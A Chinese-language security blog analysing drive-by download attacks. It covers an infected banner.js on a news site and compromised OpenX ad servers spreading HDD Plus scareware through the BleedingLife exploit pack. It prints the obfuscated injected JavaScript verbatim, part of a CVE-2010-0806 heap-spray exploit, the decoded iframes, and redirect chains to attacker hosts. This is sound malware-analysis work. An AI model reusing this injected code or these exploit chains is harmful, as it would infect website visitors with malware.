當我們在寫這篇blog時,它的確還活躍著。

在它的首頁http://www.betanews.net/ 包含下面一段javascript,會來顯示廣告:
<script type="text/javascript" src="/js/banner.js"></script>

而這/js/banner.js就是被感染的檔案,在檔案的尾部被插入了以下一段混碼過的惡意程式碼:
if(document.cookie.indexOf('xxoo')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='xxoo=Yes;path=/;expires='+expires.toGMTString;document.write(unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%61%64%2E%69%6C%69%6B%65%63%31%69%63%6B%2E%63%6F%6D%2F%61%64%2E%61%73%70%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E"));}

在經過解碼後,我們可以得到:
<iframe src="http://ad.ilikec1ick.com/ad.asp" width=0 height=0></iframe>

這個 "ilikec1ick.com" 網域,顯然的是要試圖偽裝成"ilikeclick.com",這是一個韓國網路廣告商:

http://ad.ilikec1ick.com/ad.asp 包含javascript的exploit:
<script>
document.write("<bu"+"tton i"+"d='mon' o"+"ncl"+"ick"+"='sc"+"lick();' S"+"TYLE='DISP"+"LAY"+":NONE'></b"+"utton>");
var eLFGhbswV="%x9090%";var ZyOWqionK="x9090%x5858%x5858%x10EB%x4B5B";var LoLYVDGGQ="%xC933%xB966%x03B8%x3480";var cXbQEhvHS="%xBD0B%xFAE2%x05EB%xEBE8%";var UpiNKTfoo="xFFFF";var GIMIByGgI="%x54FF%xBEA3%xBDBD%xD9E2";var xsBZzgBPo="%x8D1C%";var lXOdHiLAV="xBDBD";var ZzEEOlPoD="%x36BD%xB1FD%xCD36%x1";var SbYhcedXP="0A1%xD53";var xngsAiUQI="6%x36B5%xD74A%xE4A";var KGhCigcMg="C%x0355%xBDBF%x";var iWWZubmWc="2DBD%x455F%x8ED5%x";var pefyOgmGu="BD8F%xD5BD%xCEE8%xCF";var kEqSfhtbi="D8%x36E9%xB1FB%x0";var AObPGCHfF="355%xBDBC%x36BD%xD755%xE4B";var 
(omitted)

這是 iepeers (CVE-2010-0806) 的exploit,在成功打入這個漏洞後,瀏覽器會下載http://weniz.co .kr/mall/updir/cs/pds.exe並執行它。

這個ad.asp exploit在VirusTotal的偵測率為7/42 ,而這個惡意程式pds.exe的偵測率則為27/42

好,就以這個案例來看,那它算是drive-by download攻擊呢? 還是惡意廣告攻擊呢?
這非常類似上一次的 "adshufffle.com"惡意廣告事件,這個事件也包含了一個惡意網域"ilikec1ick.com"企圖偽裝成"ilikeclick.com"。

所以這該歸類為惡意廣告嗎?並不是,攻擊者並非註冊 ilikec1ick.com 網域後,去汙染廣告本身。這情況看來,是攻擊者入侵某廣告平台後,修改竄改正常 js 文件達到散播惡意程式。不過為了延長註冊的惡意網域存活時間,所以註冊了與真正域名很相似的網域,希望減少被注意的機會。

在惡意廣告統計分類上,目前面臨一個嚴峻的挑戰。以往常見的網頁掛馬攻擊手法如汙染惡意廣告、大量SQL漏洞掛馬、大量代管主機掛馬、大量討論版漏洞掛馬...等。這個攻擊手法應該被歸納為"point of entry",然而這需要相當長時間的人工攻擊過程。

可參考:Malvertising or Drive-by web malware attack?

繼續閱讀全文...

2010年12月20日

關於HDD Plus同時也透過OpenX弱點進行散播及背後的藏鏡人

(Credits: Chris Hsiao, Wayne Huang, NightCola Lin, Fyodor Yarochkin)

在我們上一篇, 我們有提到HDD Plus這個惡程式透過DoubleClick及MSN網路來散播。而再來寫這個後續報導主要有兩個原因:

A. 這整個事件背後的藏鏡人到底是誰? 很多人感到相當好奇。
B. 它仍然透過OpenX的弱點以相當快的速度正在散播。

在我們進入細節之前,這邊有幾個重點摘要:
1. HDD Plus (或 HDD Tools) 透過被入侵的OpenX網路廣告交換平台進行散播。
2. 使用了BleedingLife v2的exploit pack,而防毒軟體對於之中的exploit的偵測率很低(2/42)。這個Exploit Pack支援以下所列的Exploits: CVE-2010-2884CVE-2010-1297CVE-2010-0188, CVE-2010-0842CVE-2010-3552CVE-2008-2992.
3. 而對於這個HDD Plus惡意程式本身,防毒軟體的偵測率約為50%。
4. 這個Exploit Pack打到使用者的成功率約在28%,也就是100個人瀏覽此網頁的話,就有28人會被打中,算是相當高的一個比例。
5. 我們相信在莫斯科的Slevin先生也參與了這個HDD Plus的散播行動,並且積極透過更新穎的手法來進行散播。

[透過OpenX的弱點來進行散播]
OpenX有許多已知的弱點,在7月底我們開始看到駭客入侵OpenX的事件以及 插入惡意的iframes 指到drive-by downloads。 我們都記得The Pirate Bay-OpenX事件,再把時間回朔到九月份(我們可以看到這邊)。

很快的在此事件發生後,OpenX在九月14日發佈了一個修補程式,確認了2.8.7之前的版本確實是有弱點的。而我們的掃瞄器是在8月初,開始發現OpenX被插入惡意的iframe。

在我們的上一篇報導,提到"HDD Plus"的散播方式其實跟這次是差不多的,只不過這次它的名字改成了 "HDD Tools"。當受害者瀏覽受到入侵的OpenX時,這個受到感染的廣告頁面 /www/delivery/ajs.php 會跑起一段javascript來產生一個iframe然後重導到惡意的網站,然後進行drive-by download的程序,一旦成功這個HDD Tools將會悄悄的被安裝到受害者的電腦中,然後顯示一堆假的警告訊息,直到受害付費來購買這套軟體,大約80美元。

讓我們用 http://www.takeatime.com/ 這個網站來當例子。 在我們寫這篇報導時,這個網站正安裝了含有漏洞的OpenX,且已被入侵並開始供給惡意程式。 下面是我們拍的一段影片用來圖解說明整個流程,其中包含一開始使用者的瀏覽,到最後的惡意程式感染及執行的過程:



註:在這個案例中所使用的exploit pack為BleedingLife v2,而你可以透過以下來連結實地存取到這台exploit server(假設它還存活著的話)http://expa42.co.cc/bl3/statistics/login.php


沒有密碼? 沒關係,我們可以透過以下連結來看到目前的狀態(假設它還存活著的話):http://expa42.co.cc/bl3/statistics/update.php

為了知道它實際的感染情況,我們重新去設定了它的狀態,而在8個小時之後,我們得到了以下的結果:

document.getElementById("visitors").innerHTML = 5635;
document.getElementById("exploited").innerHTML = 1583;
document.getElementById("percentage").innerHTML = 28.09;

這表示expa42.co.cc(這只是眾多惡意網域中的其中之一)每小時約有700參訪者,而其中的200人就會被成功感染安裝此惡意程式,也就是將近有28%的入侵成功率,這是相當高的一個比例。

以下列出這個Bleeding Life v2 exploit pack所支援的Exploits:

1. Adobe Flash Player 10.x on Windows, Mac OS X, Linux, and Solaris, Android authplay.dll (CVE-2010-2884)
2. Adobe Flash Player before 8.x 9.x 10.x on Windows and Mac OS X crafted SWF content (CVE-2010-1297)
3. Adobe Reader and Acrobat 8.x 9.x arbitrary code execution (CVE-2010-0188)
4. Oracle Java SE and Java for Business sound component (CVE-2010-0842)
5. Oracle Java SE and Java for Business (CVE-2010-3552)
6. Adobe Acrobat and Reader util.printf (CVE-2008-2992)
(註:這個pack中,沒包含Microsoft的exploit)

下列是整個侵入過程,我們使用takeatime.com來當例子。

當受害者瀏覽takeatime.com網站時,會看到一個OpenX的廣告標籤如下:
<div class="banner">
<!--/* OpenX Javascript Tag v2.8.1 */-->
<script type='text/javascript'><!--//<![CDATA[
var m3_u = (location.protocol=='https:'?'https://openx.takeatime.com/www/delivery/ajs.php':'http://openx.takeatime.com/www/delivery/ajs.php');
var m3_r = Math.floor(Math.random()*99999999999);
if (!document.MAX_used) document.MAX_used = ',';
document.write ("<scr"+"ipt type='text/javascript' src='"+m3_u);
document.write ("?zoneid=1");
document.write ('&cb=' + m3_r);
if (document.MAX_used != ',') document.write ("&exclude=" + document.MAX_used);
document.write (document.charset ? '&charset='+document.charset : (document.characterSet ? '&charset='+document.characterSet : ''));
document.write ("&loc=" + escape(window.location));
if (document.referrer) document.write ("&referer=" + escape(document.referrer));
if (document.context) document.write ("&context=" + escape(document.context));
if (document.mmm_fo) document.write ("&mmm_fo=1");
document.write ("'><\/scr"+"ipt>");
//]]>--></script><noscript><a href='http://openx.takeatime.com/www/delivery/ck.php?n=a06928b3&cb=INSERT_RANDOM_NUMBER_HERE' target='_blank'><img src='http://openx.takeatime.com/www/delivery/avw.php?zoneid=1&cb=INSERT_RANDOM_NUMBER_HERE&n=a06928b3' border='0' alt='' /></a></noscript>
</div>

這是因為takeatime.com是使用OpenX,而這個標籤會在頁面上顯示一個OpenX的廣告,因此瀏覽器會載入/www/delivery/ajs.php。對一個含有弱點的OpenX來說,這個ajs.php就是一個最常見的感染途徑。在這個takeatime.com網站中的ajs.php內容如下:

if(typeof org=="undefined"){var org=new Object();}if(typeof org.openx=="undefined"){org.openx=new Object();}if(typeof org.openx.util=="undefined"){org.openx.util=new Object();}if(typeof org.openx.SWFObjectUtil=="undefined"){org.openx.SWFObjectUtil=new Object();}org.openx.SWFObject=function(_1,id,w,h,_5,c,_7,_8,_9,_a){if(!document.getElementById){return;}this.DETECT_KEY=_a?_a:"detectflash";this.skipDetect=org.openx.util.getRequestParameter(this.DETECT_KEY);this.params=new Object();this.variables=new Object();this.attributes=new Array();if(_1){this.setAttribute("swf",_1);}if(id){this.setAttribute("id",id);}if(w){this.setAttribute("width",w);}if(h){this.setAttribute("height",h);}if(_5){this.setAttribute("version",new org.openx.PlayerVersion(_5.toString().split(".")));}this.installedVer=org.openx.SWFObjectUtil.getPlayerVersion();if(!window.opera&&document.all&&this.installedVer.major>7){org.openx.SWFObject.doPrepUnload=true;}if(c){this.addParam("bgcolor",c);}var q=_7?_7:"high";this.addParam("quality",q);this.setAttribute("useExpressInstall",false);this.setAttribute("doExpressInstall",false);var _c=(_8)?_8:window.location;this.setAttribute("xiRedirectUrl",_c);this.setAttribute("redirectUrl","");if(_9){this.setAttribute("redirectUrl",_9);}};org.openx.SWFObject.prototype={useExpressInstall:function(_d){this.xiSWFPath=!_d?"expressinstall.swf":_d;this.setAttribute("useExpressInstall",true);},setAttribute:function(_e,_f){this.attributes[_e]=_f;},getAttribute:function(_10){return this.attributes[_10];},addParam:function(_11,_12){this.params[_11]=_12;},getParams:function(){return this.params;},addVariable:function(_13,_14){this.variables[_13]=_14;},getVariable:function(_15){return this.variables[_15];},getVariables:function(){return this.variables;},getVariablePairs:function(){var _16=new Array();var key;var _18=this.getVariables();for(key in _18){_16[_16.length]=key+"="+_18[key];}return _16;},getSWFHTML:function(){var _19="";if(navigator.plugins&&navigator.mimeTypes&&navigator.mimeTypes.length){if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","PlugIn");this.setAttribute("swf",this.xiSWFPath);}_19="<embed type=\"application/x-shockwave-flash\" src=\""+this.getAttribute("swf")+"\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\"";_19+=" id=\""+this.getAttribute("id")+"\" name=\""+this.getAttribute("id")+"\" ";var _1a=this.getParams();for(var key in _1a){_19+=[key]+"=\""+_1a[key]+"\" ";}var _1c=this.getVariablePairs().join("&");if(_1c.length>0){_19+="flashvars=\""+_1c+"\"";}_19+="/>";}else{if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","ActiveX");this.setAttribute("swf",this.xiSWFPath);}_19="<object id=\""+this.getAttribute("id")+"\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\" style=\""+this.getAttribute("style")+"\">";_19+="<param name=\"movie\" value=\""+this.getAttribute("swf")+"\" />";var _1d=this.getParams();for(var key in _1d){_19+="<param name=\""+key+"\" value=\""+_1d[key]+"\" />";}var _1f=this.getVariablePairs().join("&");if(_1f.length>0){_19+="<param name=\"flashvars\" value=\""+_1f+"\" />";}_19+="</object>";}return _19;},write:function(_20){if(this.getAttribute("useExpressInstall")){var _21=new org.openx.PlayerVersion([6,0,65]);if(this.installedVer.versionIsValid(_21)&&!this.installedVer.versionIsValid(this.getAttribute("version"))){this.setAttribute("doExpressInstall",true);this.addVariable("MMredirectURL",escape(this.getAttribute("xiRedirectUrl")));document.title=document.title.slice(0,47)+" - Flash Player Installation";this.addVariable("MMdoctitle",document.title);}}if(this.skipDetect||this.getAttribute("doExpressInstall")||this.installedVer.versionIsValid(this.getAttribute("version"))){var n=(typeof _20=="string")?document.getElementById(_20):_20;n.innerHTML=this.getSWFHTML();return true;}else{if(this.getAttribute("redirectUrl")!=""){document.location.replace(this.getAttribute("redirectUrl"));}}return false;}};org.openx.SWFObjectUtil.getPlayerVersion=function(){var _23=new org.openx.PlayerVersion([0,0,0]);if(navigator.plugins&&navigator.mimeTypes.length){var x=navigator.plugins["Shockwave Flash"];if(x&&x.description){_23=new org.openx.PlayerVersion(x.description.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));}}else{if(navigator.userAgent&&navigator.userAgent.indexOf("Windows CE")>=0){var axo=1;var _26=3;while(axo){try{_26++;axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash."+_26);_23=new org.openx.PlayerVersion([_26,0,0]);}catch(e){axo=null;}}}else{try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");}catch(e){try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");_23=new org.openx.PlayerVersion([6,0,21]);axo.AllowScriptAccess="always";}catch(e){if(_23.major==6){return _23;}}try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");}catch(e){}}if(axo!=null){_23=new org.openx.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","));}}}return _23;};org.openx.PlayerVersion=function(_29){this.major=_29[0]!=null?parseInt(_29[0]):0;this.minor=_29[1]!=null?parseInt(_29[1]):0;this.rev=_29[2]!=null?parseInt(_29[2]):0;};org.openx.PlayerVersion.prototype.versionIsValid=function(fv){if(this.major<fv.major){return false;}if(this.major>fv.major){return true;}if(this.minor<fv.minor){return false;}if(this.minor>fv.minor){return true;}if(this.rev<fv.rev){return false;}return true;};org.openx.util={getRequestParameter:function(_2b){var q=document.location.search||document.location.hash;if(_2b==null){return q;}if(q){var _2d=q.substring(1).split("&");for(var i=0;i<_2d.length;i++){if(_2d[i].substring(0,_2d[i].indexOf("="))==_2b){return _2d[i].substring((_2d[i].indexOf("=")+1));}}}return "";}};org.openx.SWFObjectUtil.cleanupSWFs=function(){var _2f=document.getElementsByTagName("OBJECT");for(var i=_2f.length-1;i>=0;i--){_2f[i].style.display="none";for(var x in _2f[i]){if(typeof _2f[i][x]=="function"){_2f[i][x]=function(){};}}}};if(org.openx.SWFObject.doPrepUnload){if(!org.openx.unloadSet){org.openx.SWFObjectUtil.prepUnload=function(){__flash_unloadHandler=function(){};__flash_savedUnloadHandler=function(){};window.attachEvent("onunload",org.openx.SWFObjectUtil.cleanupSWFs);};window.attachEvent("onbeforeunload",org.openx.SWFObjectUtil.prepUnload);org.openx.unloadSet=true;}}if(!document.getElementById&&document.all){document.getElementById=function(id){return document.all[id];};}var getQueryParamValue=org.openx.util.getRequestParameter;var FlashObject=org.openx.SWFObject;var SWFObject=org.openx.SWFObject;document.mmm_fo=1;var OX_8ec3b89b = '';
OX_8ec3b89b += "<"+"script language=\"JavaScript\">var dc=document; var date_ob=new Date(); dc.cookie=\'h1=o; path=/;\';if(dc.cookie.indexOf(\'3=llo\') <"+"= 0 && dc.cookie.indexOf(\'1=o\') > 0){\n";
OX_8ec3b89b += "function clng(wrd){var cou=new Array(\'en-us\',\'en-ca\',\'en-au\',\'en-gb\',\'fr-ca\',\'fr\',\'de\',\'es\',\'it\');for(i=0;i<"+"cou.length;i++){if(wrd==cou[i])return true;}return false;}\n";
OX_8ec3b89b += "if(typeof navigator.language == \'undefined\'){var nav = navigator.userLanguage} else {var nav = navigator.language;}\n";
OX_8ec3b89b += "if(typeof run == \'undefined\'&&clng(nav.toLowerCase())){dc.writeln(\"<"+"script type=\\\"text/javascript\\\"><"+"!--\");dc.writeln(\"var host=\' widt\'+\'h=1 h\'+\'eight\'+\'=1 \'; var src=\'src=\'; var brdr=\'fra\'+\'mebor\'+\'der=\'+\'0\';var sc=\'\\\"http://finofalts.com/ke7rwdtw.php?s=IBB@G\\\" \';\");dc.writeln(\"document.write(\'<"+"ifr\'+\'ame\'+host+src+sc+brdr+\'><"+"/ifra\'+\'me>\');\");dc.writeln(\"//--><"+"\\/script>\");} var run=1;\n";
OX_8ec3b89b += "date_ob.setTime(date_ob.getTime()+864*100000);dc.cookie=\'h3=llo; path=/; expires=\'+date_ob.toGMTString();}<"+"/script>\n";
OX_8ec3b89b += "<"+"div id=\'ox_30e97ef3c2c6a8e24bb919f7fe3adba6\' style=\'display: inline;\'><"+"img src=\'http://openx.takeatime.com/www/images/1x1.gif\' alt=\'\' title=\'\' border=\'0\' /><"+"/div>\n";
OX_8ec3b89b += "<"+"script type=\'text/javascript\'><"+"!--// <"+"![CDATA[\n";
OX_8ec3b89b += "var ox_swf = new FlashObject(\'http://openx.takeatime.com/www/delivery/ai.php?filename=blizoo_hd_campaign_728x90.swf&contenttype=swf\', \'Advertisement\', \'728\', \'90\', \'8\');\n";
OX_8ec3b89b += "ox_swf.addVariable(\'clickTARGET\', \'_blank\');\n";
OX_8ec3b89b += "ox_swf.addVariable(\'clickTAG\', \'http%3A%2F%2Fopenx.takeatime.com%2Fwww%2Fdelivery%2Fck.php%3Foaparams%3D2__bannerid%3D54__zoneid%3D1__cb%3D1e6e188d82__oadest%3Dhttp%253A%252F%252Fwww.blizoo.bg%252Ftelevision%252Fhd.html\');\n";
OX_8ec3b89b += "ox_swf.addParam(\'allowScriptAccess\',\'always\');\n";
OX_8ec3b89b += "ox_swf.write(\'ox_30e97ef3c2c6a8e24bb919f7fe3adba6\');\n";
OX_8ec3b89b += "if (ox_swf.installedVer.versionIsValid(ox_swf.getAttribute(\'version\'))) { document.write(\"<"+"div id=\'beacon_1e6e188d82\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://openx.takeatime.com/www/delivery/lg.php?bannerid=54&campaignid=26&zoneid=1&loc=http%3A%2F%2Ftakeatime.com%2F&cb=1e6e188d82\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /><"+"/div>\"); }\n";
OX_8ec3b89b += "// ]]> --><"+"/script><"+"script type=\"text/javascript\">var yoZ=[\'79\',\'89\',\'b0\',\'bb\',\'bf\',\'b2\',\'6e\',\'af\',\'7c\',\'bb\',\'c2\',\'7c\',\'b4\',\'bc\',\'bc\',\'b8\',\'6e\',\'7c\',\'90\',\'c0\',\'b2\',\'bb\',\'ad\',\'6e\',\'b1\',\'b5\',\'c5\',\'85\',\'b1\',\'bb\',\'7b\',\'6e\',\'8a\',\'b8\',\'be\',\'7c\',\'b1\',\'7f\',\'80\',\'79\',\'b0\',\'89\',\'ad\',\'c0\',\'be\',\'b1\',\'8a\',\'b0\',\'6c\',\'b4\',\'ad\',\'7d\',\'ae\',\'82\',\'b5\',\'89\',\'af\',\'be\',\'6e\',\'b1\',\'bf\',\'90\',\'88\',\'b9\',\'88\',\'6e\',\'b5\',\'b1\',\'89\',\'7e\',\'ad\',\'7c\',\'92\',\'be\',\'c2\',\'6e\',\'b5\',\'79\',\'c2\',\'c0\',\'be\',\'c0\',\'8a\',\'ad\',\'b5\',\'b0\',\'b9\',\'ad\',\'6e\',\'87\',\'7a\',\'8f\',\'ad\',\'88\',\'be\',\'7a\',\'b1\',\'8a\',\'89\',\'84\',\'90\',\'b8\',\'c2\',\'b8\',\'6c\',\'bf\',\'7c\',\'6e\',\'7d\',\'be\',\'bf\',\'6e\',\'bb\',\'bf\',\'7c\',\'be\',\'6c\',\'86\',\'6c\',\'b4\',\'6c\',\'c2\',\'7d\',\'6e\',\'8a\',\'be\',\'bc\',\'80\',\'ba\',\'bc\',\'af\',\'ba\',\'90\',\'8d\',\'6e\',\'6e\',\'83\',\'ad\',\'8b\',\'bf\',\'b2\',\'6e\',\'c5\',\'89\',\'af\',\'b4\',\'be\',\'89\',\'7b\',\'b9\',\'7f\',\'be\',\'6e\',\'b5\',\'af\',\'90\',\'ba\',\'ad\',\'ba\',\'7b\',\'b5\',\'6c\',\'7a\',\'b3\',\'88\',\'b1\',\'6c\',\'bc\',\'88\',\'b5\',\'6c\',\'ad\',\'89\',\'7b\',\'8a\',\'c0\',\'b4\',\'af\',\'af\',\'bc\',\'7b\',\'7b\',\'c3\',\'88\',\'ad\',\'ba\',\'bc\',\'6c\',\'b5\',\'b4\',\'be\',\'b1\',\'6e\',\'b3\',\'c0\',\'86\',\'89\'];var M__=[86,156,153,151,124,179,157,61,119,164,134,120,114,49,136,16,11,142,95,47,35,62,188,26,24,13,7,87,128,173,186,117,32,165,36,131,111,94,79,81,12,129,17,56,55,183,190,75,122,102,37,118,150,80,99,103,43,155,143,9,14,78,28,182,191,141,57,154,10,77,54,158,92,195,1,130,112,91,187,115,163,6,184,30,74,100,38,137,132,25,63,85,181,176,42,60,149,196,116,84,83,8,29,166,40,135,107,96,105,152,41,121,22,5,106,31,20,19,109,123,97,193,58,104,27,3,53,89,172,15,138,23,93,88,174,159,90,126,73,161,145,45,18,170,127,110,180,44,52,148,59,146,108,178,65,82,68,194,168,66,67,144,69,169,0,139,160,125,185,34,133,147,76,177,175,101,71,64,162,70,51,192,98,33,2,21,72,4,167,46,189,39,171,113,48,50,140];var bG0=new Array();for(var tRj=0;tRj<"+"M__.length;tRj++){bG0[tRj]=[M__[tRj],yoZ[tRj]];}function iL5(JrO,GTx){if(JrO[0]>GTx[0]){return 1;}else{if(JrO[0]<"+"GTx[0]){return -1;}else{return 0;}}}bG0.sort(iL5);function LHA(Yi5){return unescape(Yi5);}var XzH=new Array();for(var NOW=0;NOW<"+"bG0.length;NOW++){XzH[NOW]=String.fromCharCode(\'3\'+\'7\')+bG0[NOW][1];}function NhW(M3s){return M3s.join(\'\');}function T5_(OrK,yPk){var wC3=\'M5U1kEWlqVNxC8vXQpZK6s20YrbHe9whdngyGAtOijmaLfBzJT7oPIRFDcS43u\';var QiL=new Array();for(var lVh=0;lVh<"+"OrK.length;lVh++){QiL[lVh]=wC3.charAt(OrK[lVh]);}return NhW(QiL);}function gEp(ICO,wzs){var kkz=new Array();for(var z7r=0;z7r<"+"ICO.length;z7r++){kkz[z7r]=String[T5_([45,25,51,42,12,31,43,25,12,51,32,28],0)](ICO[T5_([57,31,43,25,12,51,32,28,37,38],0)](z7r)-wzs);}document.write(NhW(kkz));}gEp(LHA(NhW(XzH)),LHA(\'%37%36\'));<"+"/script>\n";
document.write(OX_8ec3b89b);

其中顯而易見的一行:

OX_8ec3b89b += "if(typeof run == \'undefined\'&&clng(nav.toLowerCase())){dc.writeln(\"<"+"script type=\\\"text/javascript\\\"><"+"!--\");dc.writeln(\"var host=\' widt\'+\'h=1 h\'+\'eight\'+\'=1 \'; var src=\'src=\'; var brdr=\'fra\'+\'mebor\'+\'der=\'+\'0\';var sc=\'\\\"http://finofalts.com/ke7rwdtw.php?s=IBB@G\\\" \';\");dc.writeln(\"document.write(\'<"+"ifr\'+\'ame\'+host+src+sc+brdr+\'><"+"/ifra\'+\'me>\');\");dc.writeln(\"//--><"+"\\/script>\");} var run=1;\n";

它建立了一個iframe指到一個已知的惡意網域finofalts.com網址如下: http://finofalts.com/ke7rwdtw.php?s=IBB@G,當我們在寫這篇報導時它已經不運作了。它整個script在解混碼後為:

<script language="JavaScript">var dc=document; var date_ob=new Date(); dc.cookie='h1=o; path=/;';if(dc.cookie.indexOf('3=llo') <= 0 && dc.cookie.indexOf('1=o') > 0){
function clng(wrd){var cou=new Array('en-us','en-ca','en-au','en-gb','fr-ca','fr','de','es','it');for(i=0;i<cou.length;i++){if(wrd==cou[i])return true;}return false;}
if(typeof navigator.language == 'undefined'){var nav = navigator.userLanguage} else {var nav = navigator.language;}
if(typeof run == 'undefined'&&clng(nav.toLowerCase())){dc.writeln("<script type=\"text/javascript\"><!--");dc.writeln("var host=' widt'+'h=1 h'+'eight'+'=1 '; var src='src='; var brdr='fra'+'mebor'+'der='+'0';var sc='\"http://finofalts.com/ke7rwdtw.php?s=IBB@G\" ';");dc.writeln("document.write('<ifr'+'ame'+host+src+sc+brdr+'></ifra'+'me>');");dc.writeln("//--><\/script>");} var run=1;
date_ob.setTime(date_ob.getTime()+ 864*100000);dc.cookie='h3=llo; path=/; expires='+date_ob.toGMTString();}</script>
<div id='ox_30e97ef3c2c6a8e24bb919f7fe3adba6' style='display: inline;'><img src='http://openx.takeatime.com/www/images/1x1.gif' alt='' title='' border='0' /></div>
<script type='text/javascript'><!--// <![CDATA[
var ox_swf = new FlashObject('http://openx.takeatime.com/www/delivery/ai.php?filename=blizoo_hd_campaign_728x90.swf&contenttype=swf', 'Advertisement', '728', '90', '8');
ox_swf.addVariable('clickTARGET', '_blank');
ox_swf.addVariable('clickTAG', 'http%3A%2F%2Fopenx.takeatime.com%2Fwww%2Fdelivery%2Fck.php%3Foaparams%3D2__bannerid%3D54__zoneid%3D1__cb%3D1e6e188d82__oadest%3Dhttp%253A%252F%252Fwww.blizoo.bg%252Ftelevision%252Fhd.html');
ox_swf.addParam('allowScriptAccess','always');
ox_swf.write('ox_30e97ef3c2c6a8e24bb919f7fe3adba6');
if (ox_swf.installedVer.versionIsValid(ox_swf.getAttribute('version'))) { document.write("<div id='beacon_1e6e188d82' style='position: absolute; left: 0px; top: 0px; visibility: hidden;'><img src='http://openx.takeatime.com/www/delivery/lg.php?bannerid=54&campaignid=26&zoneid=1&loc=http%3A%2F%2Ftakeatime.com%2F&cb=1e6e188d82' width='0' height='0' alt='' style='width: 0px; height: 0px;' /></div>"); }
// ]]> --></script><script type="text/javascript">var yoZ=['79','89','b0','bb','bf','b2','6e','af','7c','bb','c2','7c','b4','bc','bc','b8','6e','7c','90','c0','b2','bb','ad','6e','b1','b5','c5','85','b1','bb','7b','6e','8a','b8','be','7c','b1','7f','80','79','b0','89','ad','c0','be','b1','8a','b0','6c','b4','ad','7d','ae','82','b5','89','af','be','6e','b1','bf','90','88','b9','88','6e','b5','b1','89','7e','ad','7c','92','be','c2','6e','b5','79','c2','c0','be','c0','8a','ad','b5','b0','b9','ad','6e','87','7a','8f','ad','88','be','7a','b1','8a','89','84','90','b8','c2','b8','6c','bf','7c','6e','7d','be','bf','6e','bb','bf','7c','be','6c','86','6c','b4','6c','c2','7d','6e','8a','be','bc','80','ba','bc','af','ba','90','8d','6e','6e','83','ad','8b','bf','b2','6e','c5','89','af','b4','be','89','7b','b9','7f','be','6e','b5','af','90','ba','ad','ba','7b','b5','6c','7a','b3','88','b1','6c','bc','88','b5','6c','ad','89','7b','8a','c0','b4','af','af','bc','7b','7b','c3','88','ad','ba','bc','6c','b5','b4','be','b1','6e','b3','c0','86','89'];var M__=[86,156,153,151,124,179,157,61,119,164,134,120,114,49,136,16,11,142,95,47,35,62,188,26,24,13,7,87,128,173,186,117,32,165,36,131,111,94,79,81,12,129,17,56,55,183,190,75,122,102,37,118,150,80,99,103,43,155,143,9,14,78,28,182,191,141,57,154,10,77,54,158,92,195,1,130,112,91,187,115,163,6,184,30,74,100,38,137,132,25,63,85,181,176,42,60,149,196,116,84,83,8,29,166,40,135,107,96,105,152,41,121,22,5,106,31,20,19,109,123,97,193,58,104,27,3,53,89,172,15,138,23,93,88,174,159,90,126,73,161,145,45,18,170,127,110,180,44,52,148,59,146,108,178,65,82,68,194,168,66,67,144,69,169,0,139,160,125,185,34,133,147,76,177,175,101,71,64,162,70,51,192,98,33,2,21,72,4,167,46,189,39,171,113,48,50,140];var bG0=new Array();for(var tRj=0;tRj<M__.length;tRj++){bG0[tRj]=[M__[tRj],yoZ[tRj]];}function iL5(JrO,GTx){if(JrO[0]>GTx[0]){return 1;}else{if(JrO[0]<GTx[0]){return -1;}else{return 0;}}}bG0.sort(iL5);function LHA(Yi5){return unescape(Yi5);}var XzH=new Array();for(var NOW=0;NOW<bG0.length;NOW++){XzH[NOW]=String.fromCharCode('3'+'7')+bG0[NOW][1];}function NhW(M3s){return M3s.join('');}function T5_(OrK,yPk){var wC3='M5U1kEWlqVNxC8vXQpZK6s20YrbHe9whdngyGAtOijmaLfBzJT7oPIRFDcS43u';var QiL=new Array();for(var lVh=0;lVh<OrK.length;lVh++){QiL[lVh]=wC3.charAt(OrK[lVh]);}return NhW(QiL);}function gEp(ICO,wzs){var kkz=new Array();for(var z7r=0;z7r<ICO.length;z7r++){kkz[z7r]=String[T5_([45,25,51,42,12,31,43,25,12,51,32,28],0)](ICO[T5_([57,31,43,25,12,51,32,28,37,38],0)](z7r)-wzs);}document.write(NhW(kkz));}gEp(LHA(NhW(XzH)),LHA('%37%36'));</script>

其中"document.write(NhW(kkz));"這一部份在解混碼後會產生了另一個iframe,內容如下

<var style="display: none;"><var><iframe src="http://parti13.co.cc/in.php?id=2D46-DD8C-9A47-FD3D" width="100" height="100" hspace="0" vspace="0" frameborder="0" scrolling="no"></iframe></var></var>

這會讓瀏覽器再來載入http://parti13.co.cc/in.php?id=2D46-DD8C-9A47-FD3D,而它的內容如下:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 15 Dec 2010 17:45:29 GMT
Server: Apache/2.2.16 (FreeBSD) mod_ssl/2.2.16 OpenSSL/0.9.8k DAV/2 PHP/5.3.3
X-Powered-By: PHP/5.3.3
Location: http://govtds09.co.cc/tds/in.cgi?default
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

這個iframe再被做重導至http://govtds09.co.cc/tds/in.cgi?default,內容如下:

<html><frameset rows="100%"><frame src="http://expa42.co.cc/bl3/"></frameset></html>

最後這邊的expa42.co.cc就是exploit server了(安裝著BleedingLife V2),它會根據使用者的環境來載入相對應的Exploit:

if(acrobat.installed){
if(acrobat.version >= 800 && acrobat.version < 821){
("http://expa42.co.cc/bl3/load.php?e=Adobe-80-2010-0188");
